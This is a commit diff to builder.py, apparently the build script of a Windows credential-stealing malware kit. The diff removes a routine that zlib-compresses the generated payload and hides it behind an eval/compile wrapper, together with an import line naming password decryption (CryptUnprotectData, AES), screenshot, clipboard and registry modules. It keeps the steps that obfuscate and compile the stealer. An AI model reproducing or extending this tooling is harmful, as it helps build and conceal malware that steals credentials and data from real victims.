Update builder.py
This commit is contained in:
parent
796cc17677
commit
df66fb0514
23
builder.py
23
builder.py
|
@ -6,7 +6,7 @@ import sys
|
|||
import time
|
||||
from json import load
|
||||
from urllib.request import urlopen
|
||||
from zlib import compress
|
||||
|
||||
|
||||
import requests
|
||||
from alive_progress import alive_bar
|
||||
|
@ -609,35 +609,18 @@ class Builder:
|
|||
time.sleep(2)
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}')
|
||||
|
||||
with open(f"{filename}.py", mode='rb') as f:
|
||||
content = f.read()
|
||||
|
||||
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Compressing Code...{Fore.RESET}")
|
||||
|
||||
original_size = len(content)
|
||||
content = self.compress(content)
|
||||
new_size = len(content)
|
||||
|
||||
with open(file='compressed_' + (filename.split('\\')[-1] if '\\' in filename else filename.split('/')[-1]) + '.py', mode='w', encoding='utf-8') as f:
|
||||
f.write(content)
|
||||
if self.obfuscation == 'no' and self.compy == 'yes':
|
||||
f.write("\nimport asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData")
|
||||
|
||||
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Old file size: {original_size} bytes - New file size: {new_size} bytes {Fore.RESET}")
|
||||
|
||||
if self.obfuscation == 'yes' and self.compy == 'yes':
|
||||
self.encryption(f"compressed_{filename}")
|
||||
self.encryption(f"{filename}")
|
||||
self.compile(f"obfuscated_{filename}")
|
||||
elif self.obfuscation == 'no' and self.compy == 'yes':
|
||||
self.compile(f"compressed_{filename}")
|
||||
self.compile(f"{filename}")
|
||||
elif self.obfuscation == 'yes' and self.compy == 'no':
|
||||
self.encryption(f"{filename}")
|
||||
else:
|
||||
pass
|
||||
|
||||
def compress(self, content):
|
||||
compressed_code = compress(content)
|
||||
return f"eval(compile(__import__('zlib').decompress({compressed_code}),filename='auoiwhgoawhg',mode='exec'))"
|
||||
|
||||
def encryption(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
|
||||
|
|
Loading…
Reference in New Issue